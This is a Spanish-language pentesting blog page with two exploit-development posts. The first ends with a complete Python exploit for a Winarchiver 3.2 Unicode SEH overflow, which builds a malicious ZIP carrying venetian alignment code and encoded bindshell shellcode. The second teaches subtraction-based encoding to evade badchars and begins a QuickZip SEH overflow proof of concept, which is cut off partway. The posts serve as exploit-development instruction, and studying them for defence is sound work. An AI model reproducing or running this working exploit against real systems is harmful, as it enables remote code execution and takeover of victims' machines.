<span style="font-family: inherit;">Siguiente: </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">0070000 ADD [EAX],DH **** </span> igual que los "pseudo nop" anteriores<br />
<br />
<span style="font-family: inherit;">0500250011 ADD EAX,11002500 Operacion de SUMA sobre EAX para que apunte al inicio de nuestra shellcode, seran necesarias una suma y una resta.</span><br />
<span style="font-family: inherit;">Esto lo hacemos jugando con las posibles sumas y restas que podemos hacer utilizando opcodes compatibles con unicode. </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">005500 ADD [EBP],DL **** igual que los "pseudo nop" anteriores </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">2D00190011 SUB EAX,11001900 Operacion de RESTA sobre EAX para que apunte justo al inicio de nuestra shellcode. </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Ahora hay que tener una serie de datos a tener en cuenta para seguir continuando.</span><br />
<span style="font-family: inherit;">Llegados a este punto nos dimos cuenta que tal y como es este overflow, llegamos a la direccion de memoria máxima permitida para la pila del proceso, y si nos fijamos desde donde estamos, tenemos un tamaño de buffer muy pequeño donde no cabía la shellcode:</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://2.bp.blogspot.com/-Go-pPtwHZag/UX6f0OIl8yI/AAAAAAAAAg8/t_xaEPVbxeY/s1600/exploit_4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://2.bp.blogspot.com/-Go-pPtwHZag/UX6f0OIl8yI/AAAAAAAAAg8/t_xaEPVbxeY/s640/exploit_4.jpg" width="402" /></a></span></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Si hubiesemos podido poner la venetian shellcode justo despues de las instrucciones de "venetian" simplemente hubiese sido seguir que ejecutara las instrucciones , pero como no es el caso se complica un poquito la cosa, necesitamos poder saltar a donde apunta EAX (recordemos que EAX = inicio de shellcode) </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><span style="font-family: Arial,Helvetica,sans-serif;">P</span>ero solo podemos ejecutar instrucciones de un byte (por la transformacion de unicode) por lo que vamos a tener que encontrar algo que nos pueda servir.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><span style="font-family: inherit;">Finalmente optamos por utilizar un PUSH EAX (50) y un RETN (C3) que son instrucciones de 1 byte y nos permite saltar a donde apunta EAX. </span></span><br />
<span style="font-family: inherit;"><span style="font-family: inherit;">Pero nos encontramos otro problema ! si metemos C3 podemos ver como el C3</span> es transformado en "1C25" ! Badchars ?? No ! Unicode transformation !</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Si nos fijamos en la tabla de Unicode de más abajo podemos ver como el caracter representado por "C3" es transformado a "1C25" , no problemo, si nos volvemos a fijar en la tabla, el "C7" se transforma en "C3" que es el que necesitamos para nuestra instruccion RETN, por lo que introducimos un C7.
Tabla completa -> <a class="moz-txt-link-freetext" href="http://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf">http://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf</a> </span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://1.bp.blogspot.com/-z99rPpxDAYg/UX6gHtJwf-I/AAAAAAAAAhE/dWo555oGe3g/s1600/tabla_unicode.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="218" src="http://1.bp.blogspot.com/-z99rPpxDAYg/UX6gHtJwf-I/AAAAAAAAAhE/dWo555oGe3g/s400/tabla_unicode.jpg" width="400" /></a></span></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Por lo que las ultimas instrucciones son:
50 PUSH EAX
005500 ADD [EBP],DL **** igual que los "pseudo nop" anteriores
C7 -> transformado en memoria C3 = RETN
Y podemos observar justo cuando se va a ejecutar el RETN como EAX apunta al inicio de la venetian Shellcode:
</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://2.bp.blogspot.com/-43BS3j1pZp0/UX6gRnymTOI/AAAAAAAAAhM/bQoaO2Rse08/s1600/exploit_5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="126" src="http://2.bp.blogspot.com/-43BS3j1pZp0/UX6gRnymTOI/AAAAAAAAAhM/bQoaO2Rse08/s640/exploit_5.jpg" width="640" /></a></span></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Y si seguimos la ejecución (F9) Veremos como nuestra bindshell esta esperando impacientemente a que conectemos.. bang !!!
</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://1.bp.blogspot.com/-_tY1MsgwULQ/UX6gYGGDVYI/AAAAAAAAAhU/hOSe91skSRI/s1600/exploit_6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="414" src="http://1.bp.blogspot.com/-_tY1MsgwULQ/UX6gYGGDVYI/AAAAAAAAAhU/hOSe91skSRI/s640/exploit_6.jpg" width="640" /></a></span></div>
<div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Exploit completo:</span><br />
<pre class="brush: js">#/usr/bin/python
# Real pentesting: Josep Pi , Pedro Guillen , Miguel A. de Castro
# Exploit Title: Winarchiver V 3.2 SEH Overflow
# Date: April 24, 2013
# Software Link: http://winarchiver.com
# Affected Versions: 3.2 and previous version may also affected
# There is no patch from vendor
# Tested on: Windows XP SP3
zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)
seh = "\x31\x48" #ppr 0x00480031
nextseh = "\x58\x70"
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)
buffer = "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian))
print len(buffer)
payload = buffer
mefile = open('seh_winarch.zip','w')
mefile.write(zip_header + buffer + zip_final)
mefile.close()
</pre>
<pre wrap=""></pre>
</div>
REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com2tag:blogger.com,1999:blog-694521803021083340.post-32004221988282063712013-04-17T11:32:00.000-07:002013-04-17T11:32:07.305-07:00Desarrollo de exploits: Problemas serios con badchars.<br />
<div class="MsoNormal">
Si alguna vez os habéis puesto con desarrollo de exploits os
resultará familiar este tema.</div>
<div class="MsoNormal">
Los badchars son caracteres que hacen que nuestro exploit no funcione
adecuadamente debido al funcionamiento de la aplicación.<br />
<br /></div>
<div class="MsoNormal">
Por poner un ejemplo, si el binario a explotar utiliza la
función strcpy entonces como sabemos el carácter \x00 indica el fin de línea.
Por lo que si insertamos nuestra shellcode con un carácter \x00 no la seguirá
ejecutando y nos estropeará por completo el exploit. <o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
"Encodeamos" los payloads y punto. ¿Seguro? Pues esto está bien
cuando tenemos los badchars típicos como \x00, \x0d etc. Pero ¿Y cuando tenemos
muchos badchars? ¿Y si entre esos badchars tenemos algunos de caracteres imprimibles?. Pues que metasploit
y sus maravillosos encoders dirán algo como esto:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-4_r8k6lzaOw/UVWbSJk-j3I/AAAAAAAAAdM/AMcW8jx6fNQ/s1600/not_encoder.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="51" src="http://1.bp.blogspot.com/-4_r8k6lzaOw/UVWbSJk-j3I/AAAAAAAAAdM/AMcW8jx6fNQ/s640/not_encoder.png" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
En este caso tenemos otras alternativas como un encoder que hay publicado que encodea en caracteres imprimibles ascii, muy útil en
algunos casos. Para encodear una shellcode con este encoder se hace de la
siguiente manera:<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-7jhoXn2S2b0/UVWbiMG85vI/AAAAAAAAAdU/NCIM6s6__CU/s1600/alpha+encoder.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="46" src="http://3.bp.blogspot.com/-7jhoXn2S2b0/UVWbiMG85vI/AAAAAAAAAdU/NCIM6s6__CU/s640/alpha+encoder.png" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
Como vemos se le pasa el registro base y las opciones que
queramos ademas de meterle como input lo que queremos encodear.<o:p></o:p><br />
<br /></div>
<div class="MsoNormal">
¿Qué es el registro base? Bien, este encoder funciona así.
Para "desencodear" la shellcode y ejecutarla lo que necesita es tener en este
registro base, en este caso eax, la dirección de memoria donde empieza la
shellcode. Debemos de realizar las operaciones necesarias
dejando en eax finalmente la dirección de memoria donde empiece nuestra
shellcode y éste la "desencodeará".<o:p></o:p></div>
<div class="MsoNormal">
Como hemos dicho antes, esto es un encoder de caracteres con
letras y números Genial. Y si tenemos que alguna de las letras o números
también es un badchar? Pues está la cosa un poco complicada.<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Debemos de crearnos nuestro propio encoder. Existe una técnica que vamos a explicar a continuación. A grandes rasgos la técnica consiste en mediante
operaciones matemáticas llegar a guardar en la pila los opcodes de la shellcode que queramos ejecutar.<o:p></o:p><br />
<br /></div>
<div class="MsoNormal">
Esto se hace de la siguiente manera:<o:p></o:p></div>
<div class="MsoNormal">
Pongamos el ejemplo de queremos escribir las siguientes
instrucciones en la pila y que forman parte de nuestra shellcode/egghunter:<o:p></o:p></div>
<div class="MsoNormal">
<blockquote class="tr_bq">
Add eax, 200h<br />
jmp esp</blockquote>
<br />
<o:p></o:p></div>
<div class="MsoNormal">
Estos opcodes son : \x81\xc0\x00\x02\x00\x00\xff\xe4<br />
Supongamos que tenemos como badchar el \x81,\xc0.</div>
<div class="MsoNormal">
<br />
No podemos meterlos así en el
exploit. Entonces lo que haremos será "encodearlos" con una técnica de restas
hexadecimales.El motivo de usar restas es por que en este caso el opcode para la instrucción ADD de suma es un badchar y no es posible utilizarlo.<o:p></o:p><br />
<br /></div>
<div class="MsoNormal">
Lo primero que hacemos es separar las instrucciones en
grupos de 4 bytes. En este caso:<o:p></o:p></div>
<div class="MsoNormal">
<br />
\x81\xc0\x00\x02<br />
\x00\x00\xff\xe4<br />
<br />
<o:p></o:p></div>
<div class="MsoNormal">
<br />
Ahora lo que se hace es empezar desde el ultimo valor hacia el primero ya que vamos a pushearlos en la pila:<o:p></o:p></div>
<div class="MsoNormal">
\x00\x00\xff\xe4:<br />
<br />
<o:p></o:p></div>
<div class="MsoNormal">
<br />
Lo ponemos para little endian --> \xe4\xff\x00\x00 <br />
<br />
Despues se realiza la siguiente operación (2º complemento): 0xFFFFFFFF - 0xe4ff0000 +1 = 0x1B010000 <br />
<br />
Ahora necesitamos encontrar tres números con los caracteres que no son badchars que entre ellos sumen ese valor. Para calcular estos valores lo que hacemos es dividirlo entre tres:<br />
<br />
0x1B010000/3 = 0x90055555 <br />
<br />
Si ahora sumamos estos valores:<br />
<br />
90055555<br />
90055555+<br />
90055555<br />
--------------<br />
1B00FFFF<br />
<br />
Ahora lo que hacemos es recalcular:<br />
1 1111 ***<br />
90055555 <br />
90055555+<br />
90055556<br />
------------- <br />
1B0100000<br />
<br />
*** Los numeros 1 de arriba son los acarreos. (sumas hexadecimales)<br />
<br />
Supongamos que el 90 es un badchar pues volveriamos a recalcular por ejemplo asi:<br />
<br />
5E555555<br />
5E555555+<br />
5E565556<br />
--------------<br />
1B010000<br />
<br />
Hacemos lo mismo con el otro valor y nos queda:<br />
<br />
54546A2A<br />
54546A2A+<br />
55566B2B<br />
---------------<br />
FDFF3F7F<br />
<br /></div>
<div class="MsoNormal">
Finalmente se coloca todo de la siguiente manera:</div>
<div class="MsoNormal">
<o:p><br /></o:p></div>
<o:p></o:p><br />
<div class="MsoNormal">
encode = (</div>
<div class="MsoNormal">
"\x25\x4a\x4d\x4e\x55" #AND EAX,554E4D4A</div>
<div class="MsoNormal">
"\x25\x35\x32\x31\x2a" #AND EAX, 2a313235 .Con estas operaciones ponemos a 0 el registro eax.</div>
<div class="MsoNormal">
"\x2d\x55\x55\x55\x5e" #operaciones matematicas sobre eax (sub en este caso)</div>
<div class="MsoNormal">
"\x2d\x55\x55\x55\x5e" #operaciones matematicas sobre eax (sub en este caso)</div>
<div class="MsoNormal">
"\x2d\x56\x55\x56\x5e" #operaciones matematicas sobre eax (sub en este caso) </div>
<div class="MsoNormal">
"\x50" #guardamos en la pila eax</div>
<div class="MsoNormal">
<div class="MsoNormal">
"\x25\x4a\x4d\x4e\x55" #ponemos a cero eax</div>
<div class="MsoNormal">
"\x25\x35\x32\x31\x2a" #ponemos a cero eax</div>
<div class="MsoNormal">
"\x2d\x2a\x6a\x54\x54" #operaciones matematicas sobre eax (sub en este caso) </div>
<div class="MsoNormal">
"\x2d\x2a\x6a\x54\x54" #operaciones matematicas sobre eax (sub en este caso)</div>
<div class="MsoNormal">
"\x2d\x2b\x6b\x56\x55" #operaciones matematicas sobre eax (sub en este caso)</div>
<div class="MsoNormal">
"\x50" guardamos eax en la pila. </div>
<o:p></o:p></div>
<div class="MsoNormal">
)</div>
<div class="MsoNormal">
<br />
<o:p></o:p></div>
<div class="MsoNormal">
<br />
<o:p></o:p></div>
<div class="MsoNormal">
Cómo este cálculo es algo engorroso pues el amigo
CorelanC0der lo que hizo fue incluirlo en su script pvefindaddr (la versión mas nueva mona.py parece que no incluye esta funcionalidad), el cuál ayuda
muchísimo cuando te encuentras con badchars.<o:p></o:p></div>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
!pvefindaddr encode ascii 81c000020000ffe4</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Ri6dwV-EKnc/UVWbz7Xj-RI/AAAAAAAAAdc/O9q8iRCdk_U/s1600/pve1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://3.bp.blogspot.com/-Ri6dwV-EKnc/UVWbz7Xj-RI/AAAAAAAAAdc/O9q8iRCdk_U/s640/pve1.png" width="470" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="MsoNormal" style="text-align: left;">
La caña verdad? Mejor aún. Si nos encontramos que nos
devuelve algún carácter badchar, tan fácil como lo</div>
<div class="MsoNormal" style="text-align: left;">
siguiente:<o:p></o:p></div>
<div class="MsoNormal" style="text-align: left;">
!pvefindaddr encode ascii 81c000020000ffe4 5e<o:p></o:p></div>
<div class="MsoNormal" style="text-align: left;">
Donde 5e seria nuestro badchar que no nos vale:<o:p></o:p></div>
<div class="MsoNormal" style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-COa-mQ_0Zk4/UVWcFxspbjI/AAAAAAAAAdk/h9Xqfvpx9eA/s1600/pve2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://3.bp.blogspot.com/-COa-mQ_0Zk4/UVWcFxspbjI/AAAAAAAAAdk/h9Xqfvpx9eA/s640/pve2.png" width="584" /></a></div>
<div class="MsoNormal" style="text-align: left;">
<br /></div>
<div class="MsoNormal">
El script de pvefindaddr es algo dificil de encontrar hoy en dia por lo que lo colgamos aqui:<br />
<a href="https://www.dropbox.com/s/2o6yfavsf9stec8/pvefindaddr.py">https://www.dropbox.com/s/2o6yfavsf9stec8/pvefindaddr.py</a><br />
<br />
Vamos a ver como toma forma lo explicado anteriormente de manera práctica en un exploit:<br />
<br />
Por ponernos en materia. El software vulnerable se trata de QuickZip y la vulnerabilidad consiste en un SEH based overflow. <br />
<br />
Desde el siguiente POC:<span lang="EN-US" style="mso-ansi-language: EN-US;"> </span><br />
<br />
<span lang="EN-US" style="mso-ansi-language: EN-US;">#!/usr/bin/python</span>
<br />
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">local_file_header
= (</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x50\x4B\x03\x04"<span style="mso-spacerun: yes;"> </span>#local file header signature (4bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x14\x00"<span style="mso-spacerun: yes;"> </span>#version needed to extract<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#general purpose bit flag<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#compresion method<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\xB7\xAC"<span style="mso-spacerun: yes;"> </span>#last mod file time<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\xCE\x34"<span style="mso-spacerun: yes;"> </span>#last mod file date<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00\x00\x00"<span style="mso-spacerun: yes;"> </span>#crc-32<span style="mso-spacerun: yes;"> </span>(4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00\x00\x00"<span style="mso-spacerun: yes;"> </span>#compressed size (4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00\x00\xe4"<span style="mso-spacerun: yes;"> </span>#uncompressed size (4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x0f\x00"<span style="mso-spacerun: yes;"> </span>#file name lenght<span style="mso-spacerun: yes;"> </span>(2 bytes)(variable size)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#extra field length<span style="mso-spacerun: yes;"> </span>(2 bytes)(variable size)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">)</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">central_file_header
= (</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x50\x4B\x01\x02"<span style="mso-spacerun: yes;"> </span>#central file header signature (4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x14\x00"<span style="mso-spacerun: yes;"> </span>#version made by<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x14\x00"<span style="mso-spacerun: yes;"> </span>#version needed to extract (2
bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#general purpose but flag (2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#compression method<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\xB7\xAC"<span style="mso-spacerun: yes;"> </span>#last mod file time<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\xCE\x34"<span style="mso-spacerun: yes;"> </span>#last mod file date<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00\x00\x00"<span style="mso-spacerun: yes;"> </span>#crc-32<span style="mso-spacerun: yes;">
</span>(4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00\x00\x00"<span style="mso-spacerun: yes;"> </span>#compressed size<span style="mso-spacerun: yes;"> </span>(4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00\x00\x00"<span style="mso-spacerun: yes;"> </span>#uncompressed size (4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\xe4\x0f"
<span style="mso-spacerun: yes;"> </span>#file name length<span style="mso-spacerun: yes;"> </span>(2 bytes)<span style="mso-spacerun: yes;">
</span>(variable size)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#extra field length<span style="mso-spacerun: yes;"> </span>(2 bytes) (variable size)</span></div>
<div class="MsoNormal">
<a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#file comment lenght<span style="mso-spacerun: yes;"> </span>(2 bytes)(variable size)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#disk number start<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x01\x00"<span style="mso-spacerun: yes;"> </span>#internal file atributes<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x24\x00\x00\x00"<span style="mso-spacerun: yes;"> </span>#external file atributes (4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00\x00\x00"<span style="mso-spacerun: yes;"> </span>#relative offset of local header (4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">)</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">end_of_central_directory
= (</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x50\x4B\x05\x06"<span style="mso-spacerun: yes;"> </span>#end of central dir signature<span style="mso-spacerun: yes;"> </span>(4 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#number of this disk<span style="mso-spacerun: yes;"> </span>(2 bytes)</span></div>
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">"\x00\x00"<span style="mso-spacerun: yes;"> </span>#number of the disk with the start
of the central directory (2 bytes)</span></div>
<div class="MsoNormal">
